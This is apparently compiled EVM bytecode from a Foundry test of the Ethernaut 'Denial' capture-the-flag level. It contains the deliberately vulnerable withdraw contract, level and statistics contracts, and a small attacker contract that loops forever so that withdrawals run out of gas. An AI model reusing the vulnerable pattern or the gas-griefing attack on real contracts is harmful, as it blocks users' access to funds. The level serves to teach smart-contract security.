04051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c92906200233c565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc0906200233c565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bd6565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb919062002376565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001faf565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f6040516200110c9062001af9565b604051809103905ff08015801562001126573d5f803e3d5ffd5b506021546040517f4e1c59140000000000000000000000000000000000000000000000000000000081526001600160a01b038084166004830152929350911690634e1c5914906024015f604051808303815f87803b15801562001187575f80fd5b505af11580156200119a573d5f803e3d5ffd5b5050602054602154620011c79350620011c192506001600160a01b039182169116620014b8565b62001a19565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200120d906200233c565b80601f01602080910402602001604051908101604052809291908181526020018280546200123b906200233c565b80156200128a5780601f1062001260576101008083540402835291602001916200128a565b820191905f5260205f20905b8154815290600101906020018083116200126c57829003601f168201915b505050505081526020019060010190620011ed565b5f80604051620012af9062001b06565b604051809103905ff080158015620012c9573d5f803e3d5ffd5b5090505f604051620012db9062001b14565b604051809103905ff080158015620012f5573d5f803e3d5ffd5b508483604051620013069062001b22565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001340573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200139f575f80fd5b505af1158015620013b2573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149f57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200144b5790505b50505050508152505081526020019060010190620013e1565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001514575f80fd5b505af115801562001527573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001585575f80fd5b505af115801562001598573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015fc573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001625919081019062002050565b90506001815111156200163d57600191505062001642565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200168b906200233c565b80601f0160208091040260200160405190810160405280929190818152602001828054620016b9906200233c565b8015620017085780601f10620016de5761010080835404028352916020019162001708565b820191905f5260205f20905b815481529060010190602001808311620016ea57829003601f168201915b5050505050815260200190600101906200166b565b6023546040517fca669fa70000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063ca669fa7906024015f604051808303815f87803b1580156200178d575f80fd5b505af1158015620017a0573d5f803e3d5ffd5b5050602054602154620017cd9350620017c792506001600160a01b039182169116620014b8565b62001a98565b565b6008545f9060ff1615620017e7575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001876573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200189c919062002394565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f620019108243620023ac565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019ce9086908690600401620023c2565b5f60405180830381865afa158015620019e9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a129190810190620023f3565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a7e575f80fd5b505afa15801562001a91573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a67565b61083f806200242a83390190565b60598062002c6983390190565b610ae58062002cc283390190565b611e7a80620037a783390190565b610daa806200562183390190565b6001600160a01b0381168114620011c7575f80fd5b5f805f6060848603121562001b58575f80fd5b833562001b658162001b30565b9250602084013562001b778162001b30565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001bca5783516001600160a01b03168352928401929184019160010162001ba3565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c105762001c1062001bd6565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c425762001c4262001bd6565b604052919050565b5f67ffffffffffffffff82111562001c665762001c6662001bd6565b50601f01601f191660200190565b5f6020828403121562001c85575f80fd5b813567ffffffffffffffff81111562001c9c575f80fd5b8201601f8101841362001cad575f80fd5b803562001cc462001cbe8262001c4a565b62001c16565b81815285602083850101111562001cd9575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d1257818101518382015260200162001cf8565b50505f910152565b5f815180845262001d3381602086016020860162001cf6565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001dfb57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001de457605f1988850301835262001dd184865162001d1a565b948d01949350918c019160010162001db2565b505050968901969350509087019060010162001d6c565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ec957888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001eb35783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e6f565b5096890196945050509086019060010162001e31565b509098975050505050505050565b5f6020828403121562001ee8575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f4857603f1988860301845262001f3585835162001d1a565b9450928501929085019060010162001f16565b5092979650505050505050565b5f6020828403121562001f66575f80fd5b813562001a128162001b30565b5f806040838503121562001f85575f80fd5b823562001f928162001b30565b9150602083013562001fa48162001b30565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fdf5762001fdf62001bd6565b5060051b60200190565b5f62001ff962001cbe8462001c4a565b90508281528383830111156200200d575f80fd5b62001a1283602083018462001cf6565b5f82601f8301126200202d575f80fd5b62001a128383516020850162001fe9565b80516200204b8162001b30565b919050565b5f602080838503121562002062575f80fd5b825167ffffffffffffffff808211156200207a575f80fd5b818501915085601f8301126200208e575f80fd5b81516200209f62001cbe8262001fc3565b81815260059190911b83018401908481019088831115620020be575f80fd5b8585015b83811015620021bf57805185811115620020da575f80fd5b86016060818c03601f19011215620020f0575f80fd5b620020fa62001bea565b88820151878111156200210b575f80fd5b8201603f81018d136200211c575f80fd5b898101516200212f62001cbe8262001fc3565b81815260059190911b8201604001908b8101908f8311156200214f575f80fd5b6040840193505b82841015620021715783518252928c0192908c019062002156565b845250505060408201518781111562002188575f80fd5b620021988d8b838601016200201d565b8a83015250620021ab606083016200203e565b6040820152845250918601918601620020c2565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016425762001642620021cc565b5f6020828403121562002207575f80fd5b815167ffffffffffffffff8111156200221e575f80fd5b8201601f810184136200222f575f80fd5b620022408482516020840162001fe9565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200228181600585016020880162001cf6565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022c081600a84016020880162001cf6565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200230981846020880162001cf6565b8351908301906200231f81836020880162001cf6565b01949350505050565b602081525f62001a12602083018462001d1a565b600181811c908216806200235157607f821691505b6020821081036200237057634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002387575f80fd5b815162001a128162001b30565b5f60208284031215620023a5575f80fd5b5051919050565b80820180821115620016425762001642620021cc565b604081525f620023d6604083018562001d1a565b8281036020840152620023ea818562001d1a565b95945050505050565b5f6020828403121562002404575f80fd5b815167ffffffffffffffff8111156200241b575f80fd5b62002240848285016200201d56fe608060405266038d7ea4c6800060015534801561001a575f80fd5b5061002433610029565b610078565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107ba806100855f395ff3fe608060405260043610610066575f3560e01c8063d38def5b11610041578063d38def5b146100d3578063e037f88914610102578063f2fde38b14610125575f80fd5b8063715018a6146100715780637726f776146100875780638da5cb5b146100b7575f80fd5b3661006d57005b5f80fd5b34801561007c575f80fd5b50610085610144565b005b61009a610095366004610444565b610157565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100c2575f80fd5b505f546001600160a01b031661009a565b3480156100de575f80fd5b506100f26100ed366004610466565b6101f1565b60405190151581526020016100ae565b34801561010d575f80fd5b5061011760015481565b6040519081526020016100ae565b348015610130575f80fd5b5061008561013f366004610444565b6102ce565b61014c610363565b6101555f6103bc565b565b5f600154341015610166575f80fd5b5f60405161017390610423565b604051809103905ff08015801561018c573d5f803e3d5ffd5b5090505f816001600160a01b0316346040515f6040518083038185875af1925050503d805f81146101d8576040519150601f19603f3d011682016040523d82523d5f602084013e6101dd565b606091505b50509050806101ea575f80fd5b5092915050565b5f8260646001600160a01b038216311161020e575f9150506102c8565b60408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f3ccfd60b0000000000000000000000000000000000000000000000000000000017905290515f916001600160a01b03841691620f4240916102819161049d565b5f604051808303815f8787f1925050503d805f81146102bb576040519150601f19603f3d011682016040523d82523d5f602084013e6102c0565b606091505b505015925050505b92915050565b6102d6610363565b6001600160a01b0381166103575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610360816103bc565b50565b5f546001600160a01b031633146101555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161034e565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6102bb806104ca83390190565b6001600160a01b0381168114610360575f80fd5b5f60208284031215610454575f80fd5b813561045f81610430565b9392505050565b5f8060408385031215610477575f80fd5b823561048281610430565b9150602083013561049281610430565b809150509250929050565b5f82515f5b818110156104bc57602081860181015185830152016104a2565b505f92019182525091905056fe608060405234801561000f575f80fd5b5061029e8061001d5f395ff3fe60806040526004361061005b575f3560e01c80638b7afe2e116100415780638b7afe2e146100cf5780638da5cb5b146100ee578063be10862b1461011b575f80fd5b80633ccfd60b146100665780634e1c59141461007c575f80fd5b3661006257005b5f80fd5b348015610071575f80fd5b5061007a610139565b005b348015610087575f80fd5b5061007a6100963660046101f7565b5f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3480156100da575f80fd5b506040514781526020015b60405180910390f35b3480156100f9575f80fd5b50610103610a9e81565b6040516001600160a01b0390911681526020016100e5565b348015610126575f80fd5b505f54610103906001600160a01b031681565b5f610145606447610224565b5f80546040519293506001600160a01b031691839181818185875af1925050503d805f811461018f576040519150601f19603f3d011682016040523d82523d5f602084013e610194565b606091505b5050604051610a9e915082156108fc029083905f818181858888f193505050501580156101c3573d5f803e3d5ffd5b50426001555f80546001600160a01b0316815260026020526040812080548392906101ef908490610243565b909155505050565b5f60208284031215610207575f80fd5b81356001600160a01b038116811461021d575f80fd5b9392505050565b5f8261023e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026257634e487b7160e01b5f52601160045260245ffd5b9291505056fea2646970667358221220c80c7ab570f56c0784848d0d1c4246a1fd5eeb7e69a2406c78e5db7a044081cd64736f6c63430008180033a26469706673582212204a5b4fdd8a45f99b48d06deb32f87074d8277fabfe48004be3846df539792ff164736f6c634300081800336080604052348015600e575f80fd5b50603f80601a5f395ff3fe60806040525b600556fea264697066735822122073913c257ae5949b5f4726f5fdb2dd0c7d7aaf116808d29144869901dff1bfd264736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7